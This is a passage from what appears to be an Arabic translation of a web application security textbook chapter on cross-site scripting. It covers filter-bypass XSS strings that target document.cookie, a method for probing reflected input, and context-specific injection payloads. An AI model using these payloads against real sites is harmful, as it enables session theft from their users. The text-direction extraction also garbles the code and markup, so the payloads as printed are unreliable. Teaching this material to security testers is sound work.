‫ﻋﻠﻴﻬﺎﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻟﻨﻔﺘﺮﺽ ﺃﻥ ﺗﻄﺒﻴﻘﺎً ﻳﺰﻳﻞ ﺃﻱ >ﻧﺺ<ﻋﻼﻣﺎﺕ ﻣﻦ‬
‫ﺇﺩﺧﺎﻝﺍﻟﻤﺴﺘﺨﺪﻡ ﻗﺒﻞ ﻣﻌﺎﻟﺠﺘﻬﺎ‪ .‬ﻫﺬﺍ ﻳﻌﻨﻲ ﺃﻥ ﺳﻠﺴﻠﺔ ﺍﻟﻬﺠﻮﻡ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ ﻓﻲ ﺍﻟﻨﻬﺞ‬
‫ﺍﻷﺳﺎﺳﻲﻟﻦ ﺗﻌُﺎﺩ ﻓﻲ ﺃﻱ ٍّﻣﻦ ﺍﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻗﺪ ﺗﺘﺠﺎﻭﺯ ﺳﻠﺴﻠﺔ ﺃﻭ ﺃﻛﺜﺮ ﻣﻦ‬
‫ﺍﻟﺴﻼﺳﻞﺍﻟﺘﺎﻟﻴﺔ ﺍﻟﻔﻠﺘﺮ ﻭﺗﺆﺩﻱ ﺇﻟﻰ ﺍﺳﺘﻐﻼﻝ ‪ XSS‬ﻧﺎﺟﺢ‪:‬‬

‫<‪/scr>/script<ipt< %00"<>script<alert)document.cookie(>/script‬‬
‫>(‪/script%3e "<>scr>script<ipt<alert)document.cookie‬‬
‫‪/ScRiPt< "%3e%3cscript%3ealert)document.cookie(%3c‬‬
‫>(‪"<>script <alert)document.cookie(>/script< "<>ScRiPt<alert)document.cookie‬‬

‫ﺟﺮﺑﻬﺎ!‬

‫‪/36/ http://mdsec.net/search/21/‬‬
‫‪/search/28/ http://mdsec.net/search‬‬
‫‪http://mdsec.net‬‬

‫ﺗﺠﺪﺭﺍﻹﺷﺎﺭﺓ ﺇﻟﻰ ﺃﻧﻪ ﻓﻲ ﺑﻌﺾ ﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻗﺪ ﺗﻌُﻘﻢّ ﺳﻠﺴﻠﺔ ﺍﻹﺩﺧﺎﻝ‪ ،‬ﺃﻭ ﺗﻔُﻜﻚّ‪ ،‬ﺃﻭ ﺗﻌُﺪﻝّ ﺑﺄﻱ‬
‫ﻃﺮﻳﻘﺔﺃﺧﺮﻯ ﻗﺒﻞ ﺇﺭﺟﺎﻋﻬﺎ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ‪ ،‬ﻭﻣﻊ ﺫﻟﻚ ﻗﺪ ﺗﻜﻮﻥ ﻛﺎﻓﻴﺔ ًﻻﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ‪ .XSS‬ﻓﻲ‬
‫ﻫﺬﻩﺍﻟﺤﺎﻟﺔ‪ ،‬ﻟﻦ ﺗﻨﺠﺢ ﺃﻱ ﻃﺮﻳﻘﺔ ﻛﺸﻒ ﻗﺎﺉﻤﺔ ﻋﻠﻰ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﻣﺤُﺪﺩّﺓ ﻭﺍﻟﺘﺤﻘﻖ ﻣﻦ ﻇﻬﻮﺭﻫﺎ‬
‫ﻓﻲﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻓﻲ ﺍﻛﺘﺸﺎﻑ ﺍﻟﺜﻐﺮﺓ‪.‬‬

‫ﻓﻲﺣﺎﻻﺕ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ‪ ،DOM‬ﻻ ﺗﻌُﺎﺩ ﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ ﺑﺎﻟﻀﺮﻭﺭﺓ ﻓﻲ‬
‫ﺍﺳﺘﺠﺎﺑﺔﺍﻟﺨﺎﺩﻡ‪ ،‬ﺑﻞ ﺗﺤُﻔﻆ ﻓﻲ ‪ DOM‬ﺍﻟﺨﺎﺹ ﺑﺎﻟﻤﺘﺼﻔﺢ‪ ،‬ﻭﻳﻤُﻜﻦ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻴﻬﺎ ﻣﻦ ﻫﻨﺎﻙ‬
‫ﺑﻮﺍﺳﻄﺔ‪ JavaScript‬ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻟﻦ ﺗﻨﺠﺢ ﺃﻱ ﻃﺮﻳﻘﺔ ﺗﻌﺘﻤﺪ ﻋﻠﻰ ﺇﺭﺳﺎﻝ‬
‫ﺳﻠﺴﻠﺔﻧﺼﻴﺔ ﻣﺤﺪﺩﺓ ﻭﺍﻟﺘﺤﻘﻖ ﻣﻦ ﻇﻬﻮﺭﻫﺎ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺨﺎﺩﻡ ﻓﻲ ﺍﻛﺘﺸﺎﻑ ﺍﻟﺜﻐﺮﺓ‪.‬‬

‫ﺍﻟﻌﺜﻮﺭﻋﻠﻰ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ‬


‫ﺇﻥﺍﻟﻨﻬﺞ ﺍﻷﻛﺜﺮ ﻣﻮﺛﻮﻗﻴﺔ ﻻﻛﺘﺸﺎﻑ ﺛﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﻤﻨﻌﻜﺴﺔ ﻳﺘﻀﻤﻦ ﺍﻟﻌﻤﻞ ﺑﺸﻜﻞ ﻣﻨﻬﺠﻲ ﻣﻦ‬
‫ﺧﻼﻝﺟﻤﻴﻊ ﻧﻘﺎﻁ ﺍﻟﺪﺧﻮﻝ ﻹﺩﺧﺎﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﻲ ﺗﻢ ﺗﺤﺪﻳﺪﻫﺎ ﺃﺛﻨﺎء ﺗﻌﻴﻴﻦ ﺍﻟﺘﻄﺒﻴﻖ )ﺍﻧﻈﺮ ﺍﻟﻔﺼﻞ‬
‫‪ (4‬ﻭﺍﺗﺒﺎﻉ ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬
‫ﻗﻢﺑﺈﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﺃﺑﺠﺪﻳﺔ ﺣﻤﻴﺪﺓ ﻓﻲ ﻛﻞ ﻧﻘﻄﺔ ﺇﺩﺧﺎﻝ‪.‬‬ ‫‪-‬‬

‫ﻗﻢﺑﺘﺤﺪﻳﺪ ﺟﻤﻴﻊ ﺍﻟﻤﻮﺍﻗﻊ ﺍﻟﺘﻲ ﻳﻨﻌﻜﺲ ﻓﻴﻬﺎ ﻫﺬﺍ ﺍﻟﺴﻠﺴﻠﺔ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬ ‫‪-‬‬
‫‪453‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺑﺎﻟﻨﺴﺒﺔﻟﻜﻞ ﺍﻧﻌﻜﺎﺱ‪ ،‬ﺣﺪﺩ ﺍﻟﺴﻴﺎﻕ ﺍﻟﻨﺤﻮﻱ ﺍﻟﺬﻱ ﺗﻈﻬﺮ ﻓﻴﻪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ‪.‬‬ ‫‪-‬‬

‫ﺇﺭﺳﺎﻝﺑﻴﺎﻧﺎﺕ ﻣﻌﺪﻟﺔ ﺗﺘﻨﺎﺳﺐ ﻣﻊ ﺍﻟﺴﻴﺎﻕ ﺍﻟﻨﺤﻮﻱ ﻟﻠﺘﺄﻣﻞ‪ ،‬ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﻹﺩﺧﺎﻝ ﻧﺺ‬ ‫‪-‬‬

‫ﻋﺸﻮﺍﺉﻲﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ‪.‬‬
‫ﺇﺫﺍﺗﻢ ﺣﻈﺮ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻨﻌﻜﺴﺔ ﺃﻭ ﺗﻄﻬﻴﺮﻫﺎ‪ ،‬ﻣﻤﺎ ﻳﻤﻨﻊ ﺗﻨﻔﻴﺬ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﺨﺎﺹ ﺑﻚ‪،‬‬ ‫‪-‬‬

‫ﻓﺤﺎﻭﻝﻓﻬﻢ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺪﻓﺎﻋﻴﺔ ﻟﻠﺘﻄﺒﻴﻖ ﻭﺍﻻﻟﺘﻔﺎﻑ ﻋﻠﻴﻬﺎ‪.‬‬

‫ﺗﺤﺪﻳﺪﺍﻧﻌﻜﺎﺳﺎﺕ ﺇﺩﺧﺎﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ‬


‫ﺍﻟﻤﺮﺣﻠﺔﺍﻷﻭﻟﻰ ﻓﻲ ﻋﻤﻠﻴﺔ ﺍﻻﺧﺘﺒﺎﺭ ﻫﻲ ﺇﺭﺳﺎﻝ ﺳﻠﺴﻠﺔ ﺣﻤﻴﺪﺓ ﺇﻟﻰ ﻛﻞ ﻧﻘﻄﺔ ﺩﺧﻮﻝ ﻭﺗﺤﺪﻳﺪ ﻛﻞ‬
‫ﻣﻮﻗﻊﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺣﻴﺚ ﺗﻨﻌﻜﺲ ﺍﻟﺴﻠﺴﻠﺔ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫‪.١‬ﺍﺧﺘﺮ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻓﺮﻳﺪﺓ ﻻ ﺗﻈﻬﺮ ﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻭﺗﺤﺘﻮﻱ ﻓﻘﻂ ﻋﻠﻰ ﺃﺣﺮﻑ‬
‫ﺃﺑﺠﺪﻳﺔ‪،‬ﻭﺑﺎﻟﺘﺎﻟﻲ ﻣﻦ ﻏﻴﺮ ﺍﻟﻤﺮﺟﺢ ﺃﻥ ﺗﺘﺄﺛﺮ ﺑﺄﻱ ﻣﺮﺷﺤﺎﺕ ﺧﺎﺻﺔ ﺑـ ‪ .XSS‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪:‬‬

‫ﺍﺧﺘﺒﺎﺭ‪myxsstestdmqlwp‬‬

‫ﻗﻢﺑﺈﺭﺳﺎﻝ ﻫﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻛﻤﻌﻠﻤﺔ ﻟﻜﻞ ﺻﻔﺤﺔ‪ ،‬ﻣﻊ ﺍﺳﺘﻬﺪﺍﻑ ﻣﻌﻠﻤﺔ ﻭﺍﺣﺪﺓ ﻓﻘﻂ ﻓﻲ‬
‫ﻛﻞﻣﺮﺓ‪.‬‬
‫‪.٢‬ﺭﺍﻗﺐ ﺍﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺤﺜﺎً ﻋﻦ ﺃﻱ ﻇﻬﻮﺭ ﻟﻬﺬﻩ ﺍﻟﺴﻠﺴﻠﺔ ﻧﻔﺴﻬﺎ‪ .‬ﺩﻭﻥّ ﻛﻞ ﻣﻌﻠﻤﺔ ﺗﻨُﺴﺦ‬
‫ﻗﻴﻤﺘﻬﺎﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻫﺬﻩ ﻟﻴﺴﺖ ﺑﺎﻟﻀﺮﻭﺭﺓ ﻋﺮﺿﺔ ﻟﻠﺨﻄﺮ‪ ،‬ﻭﻟﻜﻦ ﻛﻞ ﺣﺎﻟﺔ ﻳﺘﻢ‬
‫ﺗﺤﺪﻳﺪﻫﺎﻣﺮﺷﺤﺔ ﻟﻤﺰﻳﺪ ﻣﻦ ﺍﻟﺘﺤﻘﻴﻖ‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﻓﻲ ﺍﻟﻘﺴﻢ ﺍﻟﺘﺎﻟﻲ‪.‬‬

‫‪.3‬ﻻﺣﻆ ﺃﻥ ﻛﻼﻫﻤﺎﻳﺤﺼﻞﻭﺑﺮﻳﺪﻳﺠﺐ ﺍﺧﺘﺒﺎﺭ ﺍﻟﻄﻠﺒﺎﺕ‪ .‬ﻳﺠﺐ ﺗﻀﻤﻴﻦ ﺟﻤﻴﻊ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻓﻲ ﻛﻞ ٍّ‬


‫ﻣﻦﺳﻠﺴﻠﺔ ﺍﺳﺘﻌﻼﻡ ﻋﻨﻮﺍﻥ ‪ URL‬ﻭﻧﺺ ﺍﻟﺮﺳﺎﻟﺔ‪ .‬ﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﻭﺟﻮﺩ ﻧﻄﺎﻕ ﺃﺻﻐﺮ ﻣﻦ‬
‫ﺁﻟﻴﺎﺕﺍﻟﺘﺴﻠﻴﻢ ﻟﺜﻐﺮﺍﺕ ‪ XSS‬ﺍﻟﺘﻲ ﻻ ﻳﻤﻜﻦ ﺗﺸﻐﻴﻠﻬﺎ ﺇﻻ ﺑﻮﺍﺳﻄﺔﺑﺮﻳﺪﺑﻨﺎء ًﻋﻠﻰ ﺍﻟﻄﻠﺐ‪ ،‬ﻻ‬
‫ﻳﺰﺍﻝﺍﻻﺳﺘﻐﻼﻝ ﻣﻤﻜﻨﺎً‪ ،‬ﻛﻤﺎ ﻫﻮ ﻣﻮﺿﺢ ﺳﺎﺑﻘﺎً‪.‬‬

‫‪.4‬ﻓﻲ ﺃﻱ ﺍﻟﺤﺎﻻﺕ ﺍﻟﺘﻲ ﺗﻢ ﻓﻴﻬﺎ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ‪ XSS‬ﻓﻲﺑﺮﻳﺪﻃﻠﺐ‪ ،‬ﺍﺳﺘﺨﺪﻡ ﺧﻴﺎﺭ "ﺗﻐﻴﻴﺮ ﻃﺮﻳﻘﺔ‬
‫ﺍﻟﻄﻠﺐ" ﻓﻲ ‪ Burp‬ﻟﺘﺤﺪﻳﺪ ﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﻨﻔﻴﺬ ﻧﻔﺲ ﺍﻟﻬﺠﻮﻡ ﻛـﻳﺤﺼﻞﻃﻠﺐ‪.‬‬

‫‪.٥‬ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ ﺍﻟﻘﻴﺎﺳﻴﺔ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﺧﺘﺒﺎﺭ ﻛﻞ ﺣﺎﻟﺔ ﻳﻌﺎﻟﺞ ﻓﻴﻬﺎ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﻣﺤﺘﻮﻳﺎﺕﺭﺃﺱ ﻃﻠﺐ ‪ .HTTP‬ﺗﻈﻬﺮ ﺛﻐﺮﺓ ‪ XSS‬ﺷﺎﺉﻌﺔ ﻓﻲ ﺭﺳﺎﺉﻞ ﺍﻟﺨﻄﺄ‪ ،‬ﺣﻴﺚ ﺗﻈﻬﺮ‬
‫ﻋﻨﺎﺻﺮﻣﺜﻞﺍﻟﻤﺤُﻴﻞﻭﻭﻛﻴﻞ ﺍﻟﻤﺴﺘﺨﺪﻡﺕﻳﺘﻢ ﻧﺴﺦ ﺍﻟﺮﺅﻭﺱ ﺇﻟﻰ ﻣﺤﺘﻮﻯ ﺍﻟﺮﺳﺎﻟﺔ‪ .‬ﺗﻌُﺪ ﻫﺬﻩ‬
‫ﺍﻟﺮﺅﻭﺱﺃﺩﻭﺍﺕ ﻓﻌﺎﻟﺔ ﻟﺘﻨﻔﻴﺬ ﻫﺠﻮﻡ ‪ XSS‬ﻣﻨﻌﻜﺲ‪ ،‬ﺇﺫ ﻳﻤﻜﻦ ﻟﻠﻤﻬﺎﺟﻢ ﺍﺳﺘﺨﺪﺍﻡ ﻛﺎﺉﻦ‬
‫‪ Flash‬ﻟﺤﺚ ﺍﻟﻀﺤﻴﺔ ﻋﻠﻰ ﺇﺭﺳﺎﻝ ﻃﻠﺐ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺭﺅﻭﺱ ‪ HTTP‬ﻋﺸﻮﺍﺉﻴﺔ‪.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪454‬‬

‫ﺍﺧﺘﺒﺎﺭﺍﻻﻧﻌﻜﺎﺳﺎﺕ ﻟﺘﻘﺪﻳﻢ ﺍﻟﻨﺺ‬


‫ﻳﺠﺐﻋﻠﻴﻚ ﺍﻟﺘﺤﻘﻖ ﻳﺪﻭﻳﺎً ﻣﻦ ﻛﻞ ﺣﺎﻟﺔ ﻣﻦ ﺣﺎﻻﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻟﻤﻨﻌﻜﺲ ﺍﻟﺘﻲ ﺣﺪﺩﺗﻬﺎ ﻟﻠﺘﺤﻘﻖ ﻣﻦ‬
‫ﺇﻣﻜﺎﻧﻴﺔﺍﺳﺘﻐﻼﻟﻬﺎ‪ .‬ﻓﻲ ﻛﻞ ﻣﻮﺿﻊ ﺗﻨﻌﻜﺲ ﻓﻴﻪ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻋﻠﻴﻚ ﺗﺤﺪﻳﺪ ﺍﻟﺴﻴﺎﻕ‬
‫ﺍﻟﻨﺤﻮﻱﻟﺘﻠﻚ ﺍﻟﺒﻴﺎﻧﺎﺕ‪ .‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﺘﻌﺪﻳﻞ ﺇﺩﺧﺎﻟﻚ ﺑﺤﻴﺚ ﻳﺆﺩﻱ ﻧﺴﺨﻪ ﺇﻟﻰ ﻧﻔﺲ‬
‫ﺍﻟﻤﻮﺿﻊﻓﻲ ﺍﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺇﻟﻰ ﺗﻨﻔﻴﺬ ﻧﺺ ﺑﺮﻣﺠﻲ ﻋﺸﻮﺍﺉﻲ‪ .‬ﻟﻨﻠﻖ ِﻧﻈﺮﺓ ﻋﻠﻰ ﺑﻌﺾ ﺍﻷﻣﺜﻠﺔ‪.‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :1‬ﻗﻴﻤﺔ ﺳﻤﺔ ﺍﻟﻌﻼﻣﺔ‬


‫ﺍﻓﺘﺮﺽﺃﻥ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻤﺮﺗﺠﻌﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ ﻳﻠﻲ‪:‬‬

‫>ﻧﻮﻉ ﺍﻹﺩﺧﺎﻝ=”ﻧﺺ” ﺍﻻﺳﻢ=”ﺍﻟﻌﻨﻮﺍﻥ‪ ”1‬ﺍﻟﻘﻴﻤﺔ=”‪<”myxsstestdmqlwp‬‬

‫ﺇﺣﺪﻯﺍﻟﻄﺮﻕ ﺍﻟﻮﺍﺿﺤﺔ ﻹﻧﺸﺎء ﺍﺳﺘﻐﻼﻝ ‪ XSS‬ﻫﻲ ﺇﻧﻬﺎء ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﺰﺩﻭﺟﺔ ﺍﻟﺘﻲ ﺗﺤﻴﻂ‬
‫ﺑﻘﻴﻤﺔﺍﻟﺴﻤﺔ‪ ،‬ﻭﺇﻏﻼﻕ >ﺍﻹﺩﺧﺎﻝ<ﺍﻟﻌﻼﻣﺔ‪ ،‬ﺛﻢ ﺍﺳﺘﺨﺪﻡ ﺑﻌﺾ ﺍﻟﻮﺳﺎﺉﻞ ﻹﺩﺧﺎﻝ ‪ ،JavaScript‬ﻣﺜﻞ >‬
‫ﻧﺺ<ﺍﻟﻌﻼﻣﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪:‬‬

‫<‪>/script‬ﺗﻨﺒﻴﻪ)‪"<>script<(1‬‬

‫ﺍﻟﻄﺮﻳﻘﺔﺍﻟﺒﺪﻳﻠﺔ ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﻗﺪ ﺗﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﻣﻌﻴﻨﺔ‪ ،‬ﻫﻲ ﺍﻟﺒﻘﺎء ﺩﺍﺧﻞ >‬
‫ﺍﻹﺩﺧﺎﻝ<ﺍﻟﻌﻼﻣﺔ ﻧﻔﺴﻬﺎ‪ ،‬ﻭﻟﻜﻦ ﺍﺣﻘﻦ ﻣﻌﺎﻟﺞ ﺣﺪﺙ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ‪ .JavaScript‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪:‬‬

‫(‪" onfocus="alert)1‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :2‬ﺳﻠﺴﻠﺔ ‪JavaScript‬‬


‫ﺍﻓﺘﺮﺽﺃﻥ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻤﺮﺗﺠﻌﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ ﻳﻠﻲ‪:‬‬

‫<‪>script<var a = 'myxsstestdmqlwp'; var b = 123; ... >/script‬‬

‫ﻫﻨﺎ‪،‬ﻳﺘﻢ ﺇﺩﺭﺍﺝ ﺍﻟﻤﺪُﺧﻞ ﺍﻟﺬﻱ ﺗﺘﺤﻜﻢ ﻓﻴﻪ ﻣﺒﺎﺷﺮﺓ ًﻓﻲ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻣﻘُﺘﺒﺴﺔ ﺿﻤﻦ ﻧﺺ ﺑﺮﻣﺠﻲ‬
‫ﻣﻮﺟﻮﺩ‪.‬ﻹﻧﺸﺎء ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺇﻧﻬﺎء ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ ﺍﻟﻤﻔﺮﺩﺓ ﺣﻮﻝ ﺍﻟﺴﻠﺴﻠﺔ‪ ،‬ﻭﺇﻧﻬﺎء ﺍﻟﻌﺒﺎﺭﺓ‬
‫ﺑﻔﺎﺻﻠﺔﻣﻨﻘﻮﻃﺔ‪ ،‬ﺛﻢ ﺍﻻﻧﺘﻘﺎﻝ ﻣﺒﺎﺷﺮﺓ ًﺇﻟﻰ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺍﻟﻤﻄﻠﻮﺏ‪:‬‬

‫'=‪'; alert)1(; var foo‬‬

‫ﻻﺣﻆﺃﻧﻪ ﻧﻈﺮﺍً ﻷﻧﻚ ﺃﻧﻬﻴﺖ ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﺑﻴﻦ ﻋﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ‪ ،‬ﻟﻤﻨﻊ ﺣﺪﻭﺙ ﺃﺧﻄﺎء ﺩﺍﺧﻞ‬
‫ﻣﻔُﺴﺮّﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪ ،‬ﻳﺠﺐ ﻋﻠﻴﻚ ﺍﻟﺘﺄﻛﺪ ﻣﻦ ﺍﺳﺘﻤﺮﺍﺭ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺑﺴﻼﺳﺔ ﻣﻊ ﺑﻨﺎء ﺟﻤﻠﺔ‬
‫ﺻﺤﻴﺢﺑﻌﺪ ﺍﻟﻜﻮﺩ ﺍﻟﺬﻱ ﺃﺩﺧﻠﺘﻪ‪ .‬ﻓﻲ ﻫﺬﺍ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺍﻟﻤﺘﻐﻴﺮﻓﻮﻳﺘﻢ ﺍﻹﻋﻼﻥ ﻋﻦ ﺫﻟﻚ‪ ،‬ﻭﻳﺘﻢ ﻓﺘﺢ ﺳﻠﺴﻠﺔ‬
‫ﻧﺼﻴﺔﺛﺎﻧﻴﺔ ﺑﻴﻦ ﻗﻮﺳﻴﻦ‪ .‬ﺳﻴﺘﻢ ﺇﻧﻬﺎء ﺍﻟﺴﻠﺴﻠﺔ ﺑﺎﻟﻜﻮﺩ ﺍﻟﺬﻱ ﻳﻠﻴﻬﺎ ﻣﺒﺎﺷﺮﺓ‪ ً.‬ﻫﻨﺎﻙ ﻃﺮﻳﻘﺔ ﺃﺧﺮﻯ ﻓﻌﺎّﻟﺔ‬
‫ﻏﺎﻟﺒﺎًﻭﻫﻲ ﺇﻧﻬﺎء ﻣﺪُﺧﻼﺗﻚ ﺑﻌﻼﻣﺔ ‪ //‬ﻟﺘﻌﻠﻴﻖ ﻣﺎ ﺗﺒﻘﻰ ﻣﻦ ﺍﻟﺴﻄﺮ‪.‬‬
‫‪455‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﺍﻟﻤﺜﺎﻝ‪ :3‬ﺳﻤﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻋﻨﻮﺍﻥ ‪URL‬‬


‫ﺍﻓﺘﺮﺽﺃﻥ ﺍﻟﺼﻔﺤﺔ ﺍﻟﻤﺮﺗﺠﻌﺔ ﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻣﺎ ﻳﻠﻲ‪:‬‬

‫<‪ ...>/a‬ﺍﻧﻘﺮ ﻫﻨﺎ<”‪>a href=”myxsstestdmqlwp‬‬

‫ﻫﻨﺎ‪،‬ﻳﺘﻢ ﺇﺩﺭﺍﺝ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﺑﻬﺎ ﻓﻲﻫﺮﻳﻒﺻﻔﺔ >ﺃ<‬


‫ﺍﻟﻌﻼﻣﺔ‪.‬ﻓﻲ ﻫﺬﺍ ﺍﻟﺴﻴﺎﻕ‪ ،‬ﻭﻓﻲ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺴﻴﺎﻗﺎﺕ ﺍﻷﺧﺮﻯ ﺍﻟﺘﻲ ﻗﺪ ﺗﺤﺘﻮﻱ ﻓﻴﻬﺎ ﺍﻟﺴﻤﺎﺕ ﻋﻠﻰ‬
‫ﻋﻨﺎﻭﻳﻦ‪ ،URL‬ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ‪:‬ﺑﺮﻭﺗﻮﻛﻮﻝ ﻟﺘﻘﺪﻳﻢ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﻣﺒﺎﺷﺮﺓ ﺩﺍﺧﻞ ﺳﻤﺔ‬
‫‪:URL‬‬

‫;(‪javascript:alert)1‬‬

‫ﻧﻈﺮﺍًﻷﻥ ﺇﺩﺧﺎﻟﻚ ﻳﻨﻌﻜﺲ ﺩﺍﺧﻞ ﺳﻤﺔ ﺍﻟﻌﻼﻣﺔ‪ ،‬ﻓﻴﻤﻜﻨﻚ ﺃﻳﻀﺎً ﺣﻘﻦ ﻣﻌﺎﻟﺞ ﺣﺪﺙ‪ ،‬ﻛﻤﺎ ﻫﻮ‬
‫ﻣﻮﺿﺢﺑﺎﻟﻔﻌﻞ‪.‬‬
